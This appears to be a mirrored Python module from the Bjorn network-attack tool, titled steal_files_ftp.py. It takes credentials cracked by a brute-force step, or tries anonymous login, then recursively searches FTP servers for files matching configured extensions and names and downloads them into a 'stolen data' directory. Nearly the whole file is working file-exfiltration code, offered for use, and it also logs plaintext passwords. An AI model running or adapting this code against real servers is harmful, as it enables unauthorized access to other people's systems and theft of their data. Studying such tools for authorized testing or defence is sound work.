mirror of
https://github.com/infinition/Bjorn.git
synced 2025-12-06 06:11:46 +00:00
199 lines
8.5 KiB
Python
199 lines
8.5 KiB
Python
"""
|
|
steal_files_ftp.py - This script connects to FTP servers using provided credentials or anonymous access, searches for specific files, and downloads them to a local directory.
|
|
"""
|
|
|
|
import os
|
|
import logging
|
|
import time
|
|
from rich.console import Console
|
|
from threading import Timer
|
|
from ftplib import FTP
|
|
from shared import SharedData
|
|
from logger import Logger
|
|
|
|
# Configure the logger
|
|
logger = Logger(name="steal_files_ftp.py", level=logging.DEBUG)
|
|
|
|
# Define the necessary global variables
|
|
b_class = "StealFilesFTP"
|
|
b_module = "steal_files_ftp"
|
|
b_status = "steal_files_ftp"
|
|
b_parent = "FTPBruteforce"
|
|
b_port = 21
|
|
|
|
class StealFilesFTP:
|
|
"""
|
|
Class to handle the process of stealing files from FTP servers.
|
|
"""
|
|
def __init__(self, shared_data):
|
|
try:
|
|
self.shared_data = shared_data
|
|
self.ftp_connected = False
|
|
self.stop_execution = False
|
|
logger.info("StealFilesFTP initialized")
|
|
except Exception as e:
|
|
logger.error(f"Error during initialization: {e}")
|
|
|
|
def connect_ftp(self, ip, username, password):
|
|
"""
|
|
Establish an FTP connection.
|
|
"""
|
|
try:
|
|
ftp = FTP()
|
|
ftp.connect(ip, 21)
|
|
ftp.login(user=username, passwd=password)
|
|
self.ftp_connected = True
|
|
logger.info(f"Connected to {ip} via FTP with username {username}")
|
|
return ftp
|
|
except Exception as e:
|
|
logger.error(f"FTP connection error for {ip} with user '{username}' and password '{password}': {e}")
|
|
return None
|
|
|
|
def find_files(self, ftp, dir_path):
|
|
"""
|
|
Find files in the FTP share based on the configuration criteria.
|
|
"""
|
|
files = []
|
|
try:
|
|
ftp.cwd(dir_path)
|
|
items = ftp.nlst()
|
|
for item in items:
|
|
try:
|
|
ftp.cwd(item)
|
|
files.extend(self.find_files(ftp, os.path.join(dir_path, item)))
|
|
ftp.cwd('..')
|
|
except Exception:
|
|
if any(item.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
|
|
any(file_name in item for file_name in self.shared_data.steal_file_names):
|
|
files.append(os.path.join(dir_path, item))
|
|
logger.info(f"Found {len(files)} matching files in {dir_path} on FTP")
|
|
except Exception as e:
|
|
logger.error(f"Error accessing path {dir_path} on FTP: {e}")
|
|
return files
|
|
|
|
def steal_file(self, ftp, remote_file, local_dir):
|
|
"""
|
|
Download a file from the FTP server to the local directory.
|
|
"""
|
|
try:
|
|
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
|
|
local_file_dir = os.path.dirname(local_file_path)
|
|
os.makedirs(local_file_dir, exist_ok=True)
|
|
with open(local_file_path, 'wb') as f:
|
|
ftp.retrbinary(f'RETR {remote_file}', f.write)
|
|
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
|
|
except Exception as e:
|
|
logger.error(f"Error downloading file {remote_file} from FTP: {e}")
|
|
|
|
def execute(self, ip, port, row, status_key):
|
|
"""
|
|
Steal files from the FTP server.
|
|
"""
|
|
try:
|
|
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
|
|
self.shared_data.bjornorch_status = "StealFilesFTP"
|
|
logger.info(f"Stealing files from {ip}:{port}...")
|
|
# Wait a bit because it's too fast to see the status change
|
|
time.sleep(5)
|
|
|
|
# Get FTP credentials from the cracked passwords file
|
|
ftpfile = self.shared_data.ftpfile
|
|
credentials = []
|
|
if os.path.exists(ftpfile):
|
|
with open(ftpfile, 'r') as f:
|
|
lines = f.readlines()[1:] # Skip the header
|
|
for line in lines:
|
|
parts = line.strip().split(',')
|
|
if parts[1] == ip:
|
|
credentials.append((parts[3], parts[4])) # Username and password
|
|
logger.info(f"Found {len(credentials)} credentials for {ip}")
|
|
|
|
def try_anonymous_access():
|
|
"""
|
|
Try to access the FTP server without credentials.
|
|
"""
|
|
try:
|
|
ftp = self.connect_ftp(ip, 'anonymous', '')
|
|
return ftp
|
|
except Exception as e:
|
|
logger.info(f"Anonymous access to {ip} failed: {e}")
|
|
return None
|
|
|
|
if not credentials and not try_anonymous_access():
|
|
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
|
return 'failed'
|
|
|
|
def timeout():
|
|
"""
|
|
Timeout function to stop the execution if no FTP connection is established.
|
|
"""
|
|
if not self.ftp_connected:
|
|
logger.error(f"No FTP connection established within 4 minutes for {ip}. Marking as failed.")
|
|
self.stop_execution = True
|
|
|
|
timer = Timer(240, timeout) # 4 minutes timeout
|
|
timer.start()
|
|
|
|
# Attempt anonymous access first
|
|
success = False
|
|
ftp = try_anonymous_access()
|
|
if ftp:
|
|
remote_files = self.find_files(ftp, '/')
|
|
mac = row['MAC Address']
|
|
local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/anonymous")
|
|
if remote_files:
|
|
for remote_file in remote_files:
|
|
if self.stop_execution:
|
|
break
|
|
self.steal_file(ftp, remote_file, local_dir)
|
|
success = True
|
|
countfiles = len(remote_files)
|
|
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} via anonymous access")
|
|
ftp.quit()
|
|
if success:
|
|
timer.cancel() # Cancel the timer if the operation is successful
|
|
|
|
# Attempt to steal files using each credential if anonymous access fails
|
|
for username, password in credentials:
|
|
if self.stop_execution:
|
|
break
|
|
try:
|
|
logger.info(f"Trying credential {username}:{password} for {ip}")
|
|
ftp = self.connect_ftp(ip, username, password)
|
|
if ftp:
|
|
remote_files = self.find_files(ftp, '/')
|
|
mac = row['MAC Address']
|
|
local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/{username}")
|
|
if remote_files:
|
|
for remote_file in remote_files:
|
|
if self.stop_execution:
|
|
break
|
|
self.steal_file(ftp, remote_file, local_dir)
|
|
success = True
|
|
countfiles = len(remote_files)
|
|
logger.info(f"Successfully stolen {countfiles} files from {ip}:{port} with user '{username}'")
|
|
ftp.quit()
|
|
if success:
|
|
timer.cancel() # Cancel the timer if the operation is successful
|
|
break # Exit the loop as we have found valid credentials
|
|
except Exception as e:
|
|
logger.error(f"Error stealing files from {ip} with user '{username}': {e}")
|
|
|
|
# Ensure the action is marked as failed if no files were found
|
|
if not success:
|
|
logger.error(f"Failed to steal any files from {ip}:{port}")
|
|
return 'failed'
|
|
else:
|
|
return 'success'
|
|
except Exception as e:
|
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
|
return 'failed'
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
shared_data = SharedData()
|
|
steal_files_ftp = StealFilesFTP(shared_data)
|
|
# Add test or demonstration calls here
|
|
except Exception as e:
|
|
logger.error(f"Error in main execution: {e}")
|